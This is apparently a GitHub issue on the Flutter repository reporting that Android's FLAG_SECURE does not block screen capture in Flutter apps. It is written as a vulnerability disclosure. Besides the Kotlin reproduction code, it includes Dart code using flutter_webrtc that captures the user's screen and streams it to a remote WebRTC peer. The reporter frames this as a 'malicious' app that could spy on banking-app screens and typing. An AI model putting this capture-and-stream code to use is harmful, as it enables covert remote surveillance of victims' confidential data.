-
Notifications
You must be signed in to change notification settings - Fork 29.7k
Description
Android flags do not work for screen recording on any device. The video recording displays the content normally.
With exactly the same flags, an application recently migrated from kotlin to Flutter, does NOT record kotlin video (expected behavior), but in Flutter ignores (in the latest version) all android flags.
[Edit:
When I opened this issue, if I added flags to onCreate, and started recording before opening the application, FLAG_SECURE worked. If the app was opened before the video was recorded, it wouldn't work, which shows that there is some code (maybe in FlutterView, or SystemChrome, I suppose) that was clearing all flags. However, in the latest version, with the removal of onCreate from MainActivity, not even that way the flags work, there is no way to make them work]
[EDIT 2 I created a malicious test application that records the user's screen using webrtc and even with FLAG_SECURE enabled I managed to get the screen in streaming video for 1h. I think this vulnerability fix should be a priority right now].
Steps to Reproduce
import androidx.annotation.NonNull
import io.flutter.embedding.android.FlutterActivity
import io.flutter.embedding.engine.FlutterEngine
import io.flutter.plugin.common.MethodChannel
import io.flutter.plugins.GeneratedPluginRegistrant
import io.flutter.embedding.android.FlutterView
import android.view.SurfaceView
import android.view.WindowManager
class MainActivity: FlutterActivity() {
override fun configureFlutterEngine(@NonNull flutterEngine: FlutterEngine) {
GeneratedPluginRegistrant.registerWith(flutterEngine)
SurfaceView(applicationContext).setSecure(true)
this.window.setFlags(WindowManager.LayoutParams.FLAG_SECURE, WindowManager.LayoutParams.FLAG_SECURE)
window.setFlags(WindowManager.LayoutParams.FLAG_SECURE, WindowManager.LayoutParams.FLAG_SECURE)
}
}Logs
[✓] Flutter (Channel beta, v1.12.13+hotfix.6, on Linux, locale pt_BR.UTF-8)
• Flutter version 1.12.13+hotfix.6 at /opt/flutter
• Framework revision 18cd7a3601 (9 days ago), 2019-12-11 06:35:39 -0800
• Engine revision 2994f7e1e6
• Dart version 2.7.0
[✓] Android toolchain - develop for Android devices (Android SDK version 29.0.2)
• Android SDK at /home/jonatas/Android/Sdk
• Android NDK location not configured (optional; useful for native profiling support)
• Platform android-29, build-tools 29.0.2
• Java binary at: /usr/bin/java
• Java version OpenJDK Runtime Environment (build 1.8.0_232-b09)
• All Android licenses accepted.
[✓] Chrome - develop for the web
• Chrome at google-chrome
[!] Android Studio (not installed)
• Android Studio not found; download from https://developer.android.com/studio/index.html
(or visit https://flutter.dev/setup/#android-setup for detailed instructions).
[✓] IntelliJ IDEA Community Edition (version 2019.3)
• IntelliJ at /usr/share/idea
• Flutter plugin version 42.0.4
• Dart plugin version 193.5731
[✓] Connected device (3 available)
• Moto Z2 • 0033366099 • android-arm • Android 9 (API 28)
• Chrome • chrome • web-javascript • Chromium 79.0.3945.88 Arch Linux
• Web Server • web-server • web-javascript • Flutter Tools
Sample code that can make any application written in flutter victim of attacks using, for example, flutter_webrtc (or if the application is kotlin / java, you can use the native webrtc plugin in the same way):
Connect to your WEB_RTC SERVER, receive a peer_id (that will be used in the future to read the screen), and call this function anywhere in your app createPeerConnection(peer_id, 'video', true);
Future<MediaStream> createStream(media, user_screen) async {
final Map<String, dynamic> mediaConstraints = {
'audio': true,
'video': {
'mandatory': {
'minWidth':
'640',
'minHeight': '480',
'minFrameRate': '30',
},
'facingMode': 'user',
'optional': [],
}
};
MediaStream stream = user_screen
? await navigator.getDisplayMedia(mediaConstraints)
: await navigator.getUserMedia(mediaConstraints);
if (this.onLocalStream != null) {
this.onLocalStream(stream);
}
return stream;
}
createPeerConnection(id, media, user_screen) async {
if (media != 'data') _localStream = await createStream(media, user_screen);
RTCPeerConnection pc = await createPeerConnection(_iceServers, _config);
if (media != 'data') pc.addStream(_localStream);
pc.onIceCandidate = (candidate) {
_send('candidate', {
'to': id,
'candidate': {
'sdpMLineIndex': candidate.sdpMlineIndex,
'sdpMid': candidate.sdpMid,
'candidate': candidate.candidate,
},
'session_id': this._sessionId,
});
};
pc.onAddStream = (stream) {
if (this.onAddRemoteStream != null) this.onAddRemoteStream(stream);
};
pc.onDataChannel = (channel) {
_addDataChannel(id, channel);
};
return pc;
}Its done, knowing the victim's peer_id, you will be able to see her screen, and what she types on the keyboard in any Flutter application, even if FLAG_SECURE is activated.
Reminder, this is a common app that would easily go through the playstore, and anyone who installs it, can have their screen mirrored from a distance. For that there is FLAG_SECURE on android. Bank applications (like a large case that just opted for Flutter, Nubank) in some countries are required by law to have this option enabled, mine for example.
Any other application that involves confidential data, cannot be done with Flutter if there is no way to use FLAG_SECURE.